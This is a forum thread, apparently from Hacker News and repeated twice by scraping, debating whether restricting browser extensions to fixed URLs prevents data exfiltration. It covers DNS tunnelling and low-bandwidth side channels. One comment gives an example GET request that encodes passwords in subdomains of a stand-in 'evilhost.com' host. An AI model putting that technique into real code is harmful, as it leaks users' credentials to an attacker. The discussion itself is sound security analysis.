4 ms·

In the same way that DNS requests can exfiltrate data, requesting URLs can also exfiltrate data. This is trivial to perform.

by IncRnd 6y ago

bgdam 6y ago
This is an apples to oranges comparison. DNS requests exfiltrate data such as IP and the domain you want to visit. Currently extensions can literally upload all your passwords if they wish to. Restricting them to be able to only GET whitelisted URLs (no query params or paramterized URLs) would cut down on pretty much 99.999% of possible data theft scenarios.
- deleted 6y ago
  [deleted]
- ucosty 6y ago
  You can exfiltrate data using regular DNS requests, by hiding the data in the host part of the query. The authoritative name server for the domain can then extract out and re-assemble the data. https://blogs.akamai.com/2017/09/introduction-to-dns-data-exfiltration.html https://blogs.akamai.com/2017/09/introduction-to-dns-data-ex...
- vbezhenar 6y ago
  Extension can issue GET https://password1-abc_password2-defzzz-password3-zzzfed.evilhost.com/ https://password1-abc_password2-defzzz-password3-zzzfed.evil... and DNS server run by evilhost.com will log that query.
- IncRnd 6y ago
  There is a lot more to the DNS protocol and packet structure than you are aware. DNS tunneling is a well-known exfiltration technique which can place data inside of DNS request packets. There are several methods of placing the data in the request packet. In such a case the DNS query might appear as a benign request for IBM.COM's ip address.
willvarfar 6y ago
Why I specified "fixed URLs", to close that loophole
- yjftsjthsd-h 6y ago
  My fixed URLs are example.com/0 and example.com/1; I'm going to load them a lot, sometimes in different sequences.
  - kyboren 6y ago
    This is really a fantastic, concise explanation of the pitfalls in OP's logic. Bravo. Still: The bandwidth of the side channel can be dramatically reduced with a combination of a limit on the number of fixed addresses that can be requested and a limit on the rate of URL requests. If only one fixed URL may be requested, then the only information revealed[1] is the fact of the request (1 bit) and the time of the request. If that URL may only be requested once per day, scheduled at a time of day chosen uniformly at random, then side channel bandwidth is limited to 1 bit / day, so it would take a good chunk of a year to exfiltrate a disk encryption key. If that URL may be requested only once per week, then it would take nearly five years to exfiltrate a 256-bit key. Configuration data does not need to be updated so frequently, so this seems like a reasonable strategy. [1]: (except for potential request metadata that you leak across the web anyway, e.g. IP address or browser user agent string)
    - pdkl95 6y ago
      > The bandwidth of the side channel can be dramatically reduced In the late 90s I read a paper about using page faults to exfiltrate data to a low privilege process on a TCSEC B [1] system. A very low bandwidth, noisy side channel was created by using different amount of memory in a privileged process. The low privilege process received the data by initially allocating a large amount of memory and regularly walking across pages while timing each memory read to detect page faults. It was extremely noisy, but a standard error correction scheme and some clever tuning let them exfiltrate data at "a few hundred bits"/hour. That might be plenty of bandwidth, if you're trying to send keys, names, ID numbers, etc. As usual, the utility of a very low bandwidth channel depends on your threat model. > e.g. IP address or browser user agent string) Or the variations in your OS's IP implementation that allow nmap to guess your OS[2]. Or the various "random" ways[3] different OS generate the TCP ISN (Initial Sequence Number). Security is hard... ~sigh~ [1] https://en.wikipedia.org/wiki/Trusted_Computer_System_Evaluation_Criteria#B_%E2%80%93_Mandatory_protection https://en.wikipedia.org/wiki/Trusted_Computer_System_Evalua... [2] https://nmap.org/book/man-os-detection.html https://nmap.org/book/man-os-detection.html [3] https://lcamtuf.coredump.cx/oldtcp/tcpseq/print.html https://lcamtuf.coredump.cx/oldtcp/tcpseq/print.html

In the same way that DNS requests can exfiltrate data, requesting URLs can also exfiltrate data. This is trivial to perform.

by IncRnd 6y ago

In the same way that DNS requests can exfiltrate data, requesting URLs can also exfiltrate data. This is trivial to perform.

bgdam 6y ago

This is an apples to oranges comparison. DNS requests exfiltrate data such as IP and the domain you want to visit. Currently extensions can literally upload all your passwords if they wish to. Restricting them to be able to only GET whitelisted URLs (no query params or paramterized URLs) would cut down on pretty much 99.999% of possible data theft scenarios.

deleted 6y ago
[deleted]
ucosty 6y ago
You can exfiltrate data using regular DNS requests, by hiding the data in the host part of the query. The authoritative name server for the domain can then extract out and re-assemble the data. https://blogs.akamai.com/2017/09/introduction-to-dns-data-exfiltration.html https://blogs.akamai.com/2017/09/introduction-to-dns-data-ex...
vbezhenar 6y ago
Extension can issue GET https://password1-abc_password2-defzzz-password3-zzzfed.evilhost.com/ https://password1-abc_password2-defzzz-password3-zzzfed.evil... and DNS server run by evilhost.com will log that query.
IncRnd 6y ago
There is a lot more to the DNS protocol and packet structure than you are aware. DNS tunneling is a well-known exfiltration technique which can place data inside of DNS request packets. There are several methods of placing the data in the request packet. In such a case the DNS query might appear as a benign request for IBM.COM's ip address.

willvarfar 6y ago

Why I specified "fixed URLs", to close that loophole

yjftsjthsd-h 6y ago
My fixed URLs are example.com/0 and example.com/1; I'm going to load them a lot, sometimes in different sequences.
- kyboren 6y ago
  This is really a fantastic, concise explanation of the pitfalls in OP's logic. Bravo. Still: The bandwidth of the side channel can be dramatically reduced with a combination of a limit on the number of fixed addresses that can be requested and a limit on the rate of URL requests. If only one fixed URL may be requested, then the only information revealed[1] is the fact of the request (1 bit) and the time of the request. If that URL may only be requested once per day, scheduled at a time of day chosen uniformly at random, then side channel bandwidth is limited to 1 bit / day, so it would take a good chunk of a year to exfiltrate a disk encryption key. If that URL may be requested only once per week, then it would take nearly five years to exfiltrate a 256-bit key. Configuration data does not need to be updated so frequently, so this seems like a reasonable strategy. [1]: (except for potential request metadata that you leak across the web anyway, e.g. IP address or browser user agent string)
  - pdkl95 6y ago
    > The bandwidth of the side channel can be dramatically reduced In the late 90s I read a paper about using page faults to exfiltrate data to a low privilege process on a TCSEC B [1] system. A very low bandwidth, noisy side channel was created by using different amount of memory in a privileged process. The low privilege process received the data by initially allocating a large amount of memory and regularly walking across pages while timing each memory read to detect page faults. It was extremely noisy, but a standard error correction scheme and some clever tuning let them exfiltrate data at "a few hundred bits"/hour. That might be plenty of bandwidth, if you're trying to send keys, names, ID numbers, etc. As usual, the utility of a very low bandwidth channel depends on your threat model. > e.g. IP address or browser user agent string) Or the variations in your OS's IP implementation that allow nmap to guess your OS[2]. Or the various "random" ways[3] different OS generate the TCP ISN (Initial Sequence Number). Security is hard... ~sigh~ [1] https://en.wikipedia.org/wiki/Trusted_Computer_System_Evaluation_Criteria#B_%E2%80%93_Mandatory_protection https://en.wikipedia.org/wiki/Trusted_Computer_System_Evalua... [2] https://nmap.org/book/man-os-detection.html https://nmap.org/book/man-os-detection.html [3] https://lcamtuf.coredump.cx/oldtcp/tcpseq/print.html https://lcamtuf.coredump.cx/oldtcp/tcpseq/print.html